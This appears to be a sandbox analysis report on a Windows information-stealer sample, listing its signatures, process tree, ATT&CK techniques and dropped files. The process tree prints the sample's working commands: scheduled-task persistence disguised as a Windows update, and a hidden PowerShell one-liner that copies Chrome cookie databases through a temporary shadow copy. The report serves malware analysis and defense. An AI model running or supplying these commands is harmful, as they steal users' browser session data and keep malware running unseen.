Overview

overview

10

Static

static

10

2026-08-04...lc.exe

windows10-2004-x64

8

2026-08-04...lc.exe

windows11-ltsc_2024-x64

1

Analysis

  • max time kernel
    149s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/08/2026, 16:17

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe
  • Size 129.1MB
  • Sample260804-tree4saj7w
  • SHA256 c8346caac436c1deae52517679e4682811a26e721888b800d6d21ceb042476b5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasionexecutionpersistenceransomwarespywarestealer

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Drops file in System32 directory 1 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-04_2f5492ece9559b83ed9136640c866fa7_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4168
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "WinUpdateAssistant" /tr "C:\Users\Admin\AppData\Roaming\MicrosoftUpdate\WinUpdateAssistant.exe" /sc hourly /mo 1 /F
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5008
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn "WinUpdateAssistant" /tr "C:\Users\Admin\AppData\Roaming\MicrosoftUpdate\WinUpdateAssistant.exe" /sc hourly /mo 1 /F
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5052
    • C:\Windows\SYSTEM32\esentutl.exe
      esentutl.exe /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-wal" /d "C:\Users\Admin\AppData\Local\Temp\ck_240673531.db-wal" /o
      2⤵
        PID:1528
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue';$class=[WMICLASS]'Win32_ShadowCopy';$result=$class.Create('C:\','ClientAccessible');$id=$result.ShadowID;if($id){$shadow=Get-WmiObject Win32_ShadowCopy|Where-Object{$_.ID -eq $id};$device=$shadow.DeviceObject;$link='C:\__vss_' + [System.IO.Path]::GetRandomFileName() + '__';cmd /c mklink /d $link ($device+'\') 2>$null;Copy-Item -Path ($link+'\'+'Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-wal') -Destination 'C:\Users\Admin\AppData\Local\Temp\ck_240673531.db-wal' -Force;Copy-Item -Path ($link+'\'+'Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-wal-wal') -Destination 'C:\Users\Admin\AppData\Local\Temp\ck_240673531.db-wal-wal' -Force;cmd /c rmdir $link 2>$null;$shadow.Delete();}"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:564
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c mklink /d C:\__vss_b1l3bejj.1sx__ \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of AdjustPrivilegeToken
          PID:2044
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c rmdir C:\__vss_b1l3bejj.1sx__
          3⤵
            PID:4248
      • C:\Users\Admin\AppData\Roaming\MicrosoftUpdate\WinUpdateAssistant.exe
        C:\Users\Admin\AppData\Roaming\MicrosoftUpdate\WinUpdateAssistant.exe
        1⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4572
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c schtasks /create /tn "WinUpdateAssistant" /tr "C:\Users\Admin\AppData\Roaming\MicrosoftUpdate\WinUpdateAssistant.exe" /sc hourly /mo 1 /F
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3516
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "WinUpdateAssistant" /tr "C:\Users\Admin\AppData\Roaming\MicrosoftUpdate\WinUpdateAssistant.exe" /sc hourly /mo 1 /F
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:372
        • C:\Windows\system32\esentutl.exe
          esentutl.exe /y "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-wal" /d "C:\Users\Admin\AppData\Local\Temp\ck_240680062.db-wal" /o
          2⤵
            PID:1148
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$ErrorActionPreference='SilentlyContinue';$class=[WMICLASS]'Win32_ShadowCopy';$result=$class.Create('C:\','ClientAccessible');$id=$result.ShadowID;if($id){$shadow=Get-WmiObject Win32_ShadowCopy|Where-Object{$_.ID -eq $id};$device=$shadow.DeviceObject;$link='C:\__vss_' + [System.IO.Path]::GetRandomFileName() + '__';cmd /c mklink /d $link ($device+'\') 2>$null;Copy-Item -Path ($link+'\'+'Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-wal') -Destination 'C:\Users\Admin\AppData\Local\Temp\ck_240680062.db-wal' -Force;Copy-Item -Path ($link+'\'+'Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-wal-wal') -Destination 'C:\Users\Admin\AppData\Local\Temp\ck_240680062.db-wal-wal' -Force;cmd /c rmdir $link 2>$null;$shadow.Delete();}"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4124
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c mklink /d C:\__vss_uqwtmnhm.o44__ \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of AdjustPrivilegeToken
              PID:2872
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c rmdir C:\__vss_uqwtmnhm.o44__
              3⤵
                PID:1852
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4104

          Network

                MITRE ATT&CK Enterprise v16

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                2
                T1059

                PowerShell

                1
                T1059.001

                Windows Command Shell

                1
                T1059.003

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Persistence

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Privilege Escalation

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Defense Evasion

                Indicator Removal

                1
                T1070

                File Deletion

                1
                T1070.004

                Modify Registry

                1
                T1112

                Credential Access

                Credentials from Password Stores

                1
                T1555

                Credentials from Web Browsers

                1
                T1555.003

                Unsecured Credentials

                1
                T1552

                Credentials In Files

                1
                T1552.001

                Discovery

                Query Registry

                1
                T1012

                Lateral Movement

                Collection

                Data from Local System

                1
                T1005

                Command and Control

                Exfiltration

                Impact

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                powershell.exe.log
                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 64B
                • SHA256 a7c8911da3f205242a8ea8e1dd92fc099a15d8bf1f10d93ada6590b5fa233299
                • MD5 SHA1 SHA512
                Submit Download

                __PSScriptPolicyTest_cg3qfmwk.h2d.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cg3qfmwk.h2d.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                hermes_debug.log
                • Path C:\Users\Admin\AppData\Local\Temp\hermes_debug.log
                • Size 2KB
                • SHA256 f2b59c9deefa12a65f758ee6287e5939e262fd0d2794560bd1e4c2215653c7fc
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                hermes_debug.log
                • Path C:\Windows\System32\hermes_debug.log
                • Size 1KB
                • SHA256 8eb0b0b4e96f06c18c331891fa56841c906c040731eaf7d015b1390af6023c8c
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                hermes_debug.log
                • Path C:\Windows\System32\hermes_debug.log
                • Size 1KB
                • SHA256 8c4c604ae43ab1caacb52eca30f5f5f9e801908747789c15307b95f7ef56f887
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                hermes_debug.log
                • Path C:\Windows\System32\hermes_debug.log
                • Size 2KB
                • SHA256 bf4eefb722f805690b05029bcaf6b90982edf686e17e5ff27e081847b824491d
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                memory/564-92-0x000001FD7ABC0000-0x000001FD7ABE2000-memory.dmp
                Download

                memory/1528-64-0x000001B430CD0000-0x000001B430CE0000-memory.dmp
                Download

                memory/1528-86-0x000001B431290000-0x000001B4312A0000-memory.dmp
                Download